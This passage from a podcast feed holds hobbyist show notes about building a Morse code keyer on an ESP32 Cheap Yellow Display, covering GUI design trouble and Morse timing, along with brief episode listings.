                                                              \n\nTo do this, I need to learn how to build a GUI. Most of the CYD resources I have been referencing recommend using Squareline Studio for GUI development on the CYD. Sadly, Squareline Studio is not open source. If any of you have experience with a good, open source alternative to Squareline Studio, please record a show to help the rest of us. Squareline does have a free trial and a free single user / single computer license, which I am using for this project. It will run on Windows, Linux, and Mac.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAfter watching several videos about using the CYD with Squareline, I started to outline the functionality I needed. \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSquareline provides a wide range of pre-configured boards and interfaces to choose from, in addition to widgets and controls which you can drag onto your screens, and it will automatically generate the supporting code in the background.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe initial page needs to have the macro buttons, with labels for the message they will send when pressed. There also needs to be navigation buttons to move from one page to others. Another important page will be the configuration page, where the user can store the contents of each macro and set the speed at which code will be sent. I would like to have a keyboard page where the user can type a custom message and send it. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI made a few GUI sketches on post-it-notes, then I installed Squareline Studio on my Ubuntu laptop to start designing. There is a bit of a learning curve. Even with guide videos, I found the user experience to be... challenging. \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTheir own GUI leaves much to be desired. It was not designed to run on the laptop's screen size/resolution. I had to switch to a much higher resolution monitor and rearrange frames within the app itself in order to see many of the controls. Button size adjustments, alignments, and label text did not work quite as expected. Getting things sized and aligned properly took quite a bit of fiddling. The text displayed on a button is a separate object from the button itself, so I have had to put some thought into object naming so that I can write code which will change button labels dynamically.  \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI am including some screenshots from Squareline for the interface I designed.  \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nOne great feature is that you can define actions and conditions for objects in your project. For example, there are buttons on the left which will navigate to specific screens. I defined actions within Squareline, such that when the specific navigation button is pressed, it will change the button appearance to look like it has been pressed and will then scroll left or right to a specified screen. Actions were also valuable for the Speed (WPM) slider on the Config screen. When this slider is moved left and right, the GUI will change the actual number for WPM to the right of the slider. \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nNext, there is a simulator function which can be used to test how well the GUI works. It took some trial and error, but I was able to build and successfully test, navigational actions and the WPM slider. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAs I was working on building the afore mentioned WPM slider, and thinking about the default words per minute of Morse to use, my ADHD interrupted me (As usual). I decided to change the default speed that I use for the Arduino Nano based Morse code practice keyer which I keep on my desk. You can learn more about this keyer in episode 3 of this series. And we will also discuss Morse code speed in a future episode in this series. The original code (As found on \n\nhttps://github.com/jmharvey1/ArduinoCPO\n\n )\n\n specified 12 words per minute (WPM) as the default speed, with buttons to increase or decrease this. However, I am practicing at 20 WPM. Every time I turn on the practice set, I need to turn up the speed and guess when I am close to 20. I went ahead and opened the PracticeOscilator project in Arduino IDE and updated the wpm variable to a value of 20. No, you will not see this change reflected in my own GitHub repo because:\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nA) I wanted to test it locally first \n

                                                              \n

                                                              \n\nB) 20 WPM may be a little fast for a default \n

                                                              \n

                                                              \n\nC) I do not use git the way that it is meant to be used, or the way I SHOULD be using it, with pull requests and all. Bad Trey. \n

                                                              \n

                                                              \n\nD) I was distracted \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nANYWAY, the reason I bring this up is that it is the first time I have used the Arduino IDE to program a board with this system since I upgraded from Ubunto 20.04 to Ubuntu 22.04. Try as I might, I was not able to get the Arduino Nano's USB port to be recognized in Linux so that I could upload the updated keyer code. I spent several days troubleshooting, using other Arduino devices, different USB ports, and different cables, all to no avail. If anyone has any recommendations, I am open to suggestions.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo, I dug out my son's old Windows 10 PC and started again. I had to install the Arduino IDE, load all the necessary libraries, and my code from Github (Which I had to manually change once again, because I don't fully get git). Finally I was able to update the Arduino Nano with its new code, and it works perfectly.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nBut this revealed the same problem for the CYD. I also could not get it to connect over USB to my Ubuntu system. Time to migrate the entire project to Windows.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nMy next step was to install Squareline Studio on Windows. Here, I ran into another snag, as my trial license was only for one system, so I had to uninstall Squareline from Linux before I could activate the license on Windows. Did I mention that I would love to find an open source, free software product to use instead? If you know of one, please ping me or post a comment.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI wasted more time trying to get the GUI project I had written on the Linux machine imported into Squareline on Windows, all the while thinking of improvements I could make if I started again from scratch. It would not load, and would not load. \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIn the end, I started all over again.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAfter much blood sweat and tears, my GUI code was working again, and this time in Windows. I was able to run it in the simulation mode and move from page to page successfully and also use the WPM slider.  I exported the UI from Squareline, and I loaded the code it generated into a new project within Arduino IE.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nNow was the moment of truth. I followed instructions found on the Pang YouTube channel video \n\n[ESP32 + LVGL] Configuration input device rotary encoder\n\n (\n\nhttps://www.youtube.com/watch?v=aGM6gu9OpbA\n\n ).  I connected the CYD and uploaded the code. SUCCESS!! \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nYou can see my \"Send\" screen loaded perfectly! Now to try other screens.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWait. Drat. It does not seem like my navigation buttons work. Actually, it does not appear that the touch screen is responding at all.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI spent the next several days trying to figure out what went wrong. I checked and double checked interrupt and configuration settings (Such as those described in another of Pang's videos, \n\n[CYD + LVGL] Configuration Cheap Yellow Display | Easy Guide\n\n (\n\nhttps://www.youtube.com/watch?v=qmR-mjJVumU\n\n ). Nothing worked. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI came to realize that I bit off more than I could chew, and I should NOT have started with such an ambitious project. Instead I should have started with a simple equivalence of \"Hello World\", where I could build and test simple functionality to make sure I knew exactly what I was doing, then expand on it. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nLessons learned, and a good stopping point for this episode. I am open to your feedback on what you would recommend, what I should do differently, etc. You can post simple feedback as a comment or send me an email using the address in my HPR profile. As usual, if your feedback is more than a sentence or two, you might want to record it as an episode so that other listeners can benefit from it as well. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTime for an espresso. Maybe I will make it a double. Or even a triple! \n

                                                              \n\n\n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CYD, electronics, ESP32, Adruino, Cheap Yellow Display, morse code, cw, GUI, Squareline","version":0,"downloads":0,"valid":1}, {"id":4540,"date":"2025-12-26","title":"Arthur C. Clarke: Other Novels, Part 1","duration":860,"summary":"A look at some of Arthur C. Clarke's other novels.","notes":"\n

                                                              \n This brings us to a look at some of Arthur C. Clarke's other\n stories, The Sands of Mars (1951), The Deep Range (1957), and The\n Fountains of Paradise (1979). These are just a few of his\n well-regarded stand-alone novels.

                                                              \n

                                                              \n Links:

                                                              \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Arthur C. Clarke","version":0,"downloads":0,"valid":1}, {"id":4546,"date":"2026-01-05","title":"HPR Community News for December 2025","duration":0,"summary":"HPR Volunteers talk about shows released and comments posted in December 2025","notes":"_","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4547,"date":"2026-01-06","title":"Cheap Yellow Display Project Part 6: The speed and timing of Morse ","duration":651,"summary":"A discussion of the Morse code speed and timing considerations needed for our CYD project","notes":"\n

                                                              \n\nHello, again. This is Trey. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWelcome to part 6 in my Cheap Yellow Display (CYD) Project series. Thank you for hanging in there with me on this rambling series. If you wish to catch up on earlier episodes, you can find them on my \n\nHPR profile page\n\n \n\nhttps://www.hackerpublicradio.org/correspondents/0394.html\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTo review, my project is to build a portable morse code \"Keyer memory\" which can be connected to any of my amateur HF transceiver radios by simply plugging it in to the code key input port. This is based around an ESP32 platform which comes prepackaged on a yellow PC board with a color touchscreen display, WIFI, and Bluetooth. We fondly call this contraption the Cheap Yellow Display.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo far, I have defined the necessities, collected the required hardware, and failed miserably building the graphical user interface (GUI).  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWhile I sort out the technical challenges getting my GUI code to play nicely with the CYD's touchscreen, it is important that we spend some time discussing Morse code itself, and the timing standards we will need to follow. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI am not going to dive too deeply into the history behind telegraphs and Morse code, but it is very interesting. If you want to learn more, Wikipedia has the origins and evolution written out quite nicely at \n\nhttps://en.wikipedia.org/wiki/Morse_code\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nFor our purposes, we will fast forward from the year 1820 (When telegraphy began) all the way to 1865 when the International Telecommunication Union (ITU)  standardized, what it called \"International Morse Code\". When I say Morse Code for the remainder of this podcast, I am referring to this ITU International Morse Code.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nMorse code typically includes the following characters: \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                                \n
                                                              • \n\nThe 26 letter basic Latin alphabet \n
                                                              • \n
                                                              • \n\nThe Indo-Arabic numerals 0 to 9 \n
                                                              • \n
                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThere is also a single accented Latin letter (É), which is written as an E with an accent mark, and a handful of punctuation marks. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThese characters are encoded using a sequence of short and long signals. Each short signal is referred to as a \n\ndit\n\n. Each long signal is referred to as a \n\ndah\n\n. At a young age, I began to refer to them as dots and dashes, as this is how they are usually written. For example, the letter \"A\" consists of a single dit followed by a single dah. When written out this would look like a period followed by a hyphen (what some might call a minus sign)   .- \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis encoding method allows messages to be sent by \n\nturning on and off an electrical signal. This could result in a light flashing or a tone sounding to the pattern of the signal. The timing of a dit and dah, along with the spacing between them is carefully defined.  \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nMorsecode.world does a great job explaining the timing, and you can find their explanation at \n\nhttps://morsecode.world/international/timing/\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIt all starts with the dit, or more accurately, the amount of time the dit signal is turned on. We will call this length of time 1 unit. We will get to the actual length of time for a unit later in this episode. For now, it is just one unit.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo, if a dit is 1 unit long, a dah will be 3 units long, so there is an obvious and consistent difference between a dit and a dah. Also, empty space between elements of the same character is 1 unit long. The space between characters should be 3 units long.\n\n \n

                                                              \n

                                                              \n\n    \n

                                                              \n

                                                              \n\nLet's demonstrate using the letters H, P, & R.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAn \"H\" would be 4 dits ….\n\n \n

                                                              \n

                                                              \n\nA \"P\" would be 1 dit followed by 2 dahs and ending with 1 dit  .--.\n\n \n

                                                              \n

                                                              \n\nAn \"R\" would be 1 dit followed by 1 dah and ending with 1 dit   .-.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nRemember when we send these grouped together like a word, we need 3 units of spacing between each character. You can hear this now. This is Morse code for the letters \"HPR\" at 15 words per minute  .... .--. .-. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThat is the perfect segue to the next section, words per minute. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe speed of morse code is measured in \"words per minute\". But how do you calculate this when some characters are short (Like the letter \"E\" which is only a single dit long), and other characters are long (Like the letter \"J\" which starts with a single dit and is followed by 3 dahs)?\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAnd that's just letters. What about words? We have short words and long words. How can we standardize on words per minute with so much diversity of length? \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWell, thanks to the French, we have a quite elegant solution to this problem. Well, not the French in general. Just PARIS. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nPARIS is the standard word which has been agreed upon to be used for determining the speed of Morse code. The word PARIS is 50 units long. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\"P\" = dit(1) + (1) + dah(3) + (1) + dah(3) + (1) + dit(1) = 11 units\n\n \n

                                                              \n

                                                              \n\n{Space between letters} = 3 units \n

                                                              \n

                                                              \n\n\"A\" = \n\ndit(1) + (1) + dah(3) = 5 units\n\n \n

                                                              \n

                                                              \n\n{Space between letters} = 3 units \n

                                                              \n

                                                              \n\n\"R\" = \n\ndit(1) + (1) + dah(3) + (1) + dit(1) = 7 units\n\n \n

                                                              \n

                                                              \n\n{Space between letters} = 3 units \n

                                                              \n

                                                              \n\n\"I\" = \n\ndit(1) + (1) + dit(1) = 3 units\n\n \n

                                                              \n

                                                              \n\n{Space between letters} = 3 units \n

                                                              \n

                                                              \n\n\"S\" = \n\ndit(1) + (1) + dit(1) \n\n+ (1) + \n\ndit(1) \n\n= 5 units \n

                                                              \n

                                                              \n\n{Space between words} = 7 units \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n11+3+5+3+7+3+3+3+5+7 = 50 units \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nHere is the word PARIS sent at 15 WPM  .--. .- .-. .. ... \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nMorsecode.world again does a great job explaining the maths for how many milliseconds long a dit should be for a specific WPM of code (\n\nhttps://morsecode.world/international/timing/\n\n ) But, no... We could not keep it that simple. Some guy named \n\nDonald R. \"Russ\" Farnsworth had to complicate things and increase the gaps between letters and words to make interpreting code much easier. There are even more maths for Farnsworth timing...\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWait a minute. When did I start saying \"Maths\" instead of \"Math\" like a normal North American? What is the reasoning around pluralizing \"Math\" anyways? Which way is more original English, \"Math\" or \"Maths\"? This sounds like a show idea for someone other than me. If you know or are interested in researching it, I look forward to listening to your show in the future.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nANYWAYS, there IS much more MATH about Farnsworth timing on another page on Morsecode.world. (\n\nhttps://morsecode.world/international/timing/farnsworth.html\n\n ). But I don't want to get into all of it in detail here. Not when there is a shortcut we can use in our code. Simplified, we can take 1,200 and divide it by the WPM we desire, and it will give us a close enough approximation of the number of milliseconds long a dit should be.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nFor the 15 WPM messages you have heard throughout this episode, a dit was 1200/15 = 80 ms in length. If I speed it up to 20 WPM (The speed at which I try to practice) a dit will be 1200/20 = 60 ms long.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis will be an important calculation for us as we develop the code we will later be using to construct our messages using the CYD.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAnd this is also a good stopping point so that I can get back to trying to build that infernal GUI. \n

                                                              \n\n\n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"morse code, cw, Ham Radio, Amateur Radio","version":0,"downloads":0,"valid":1}]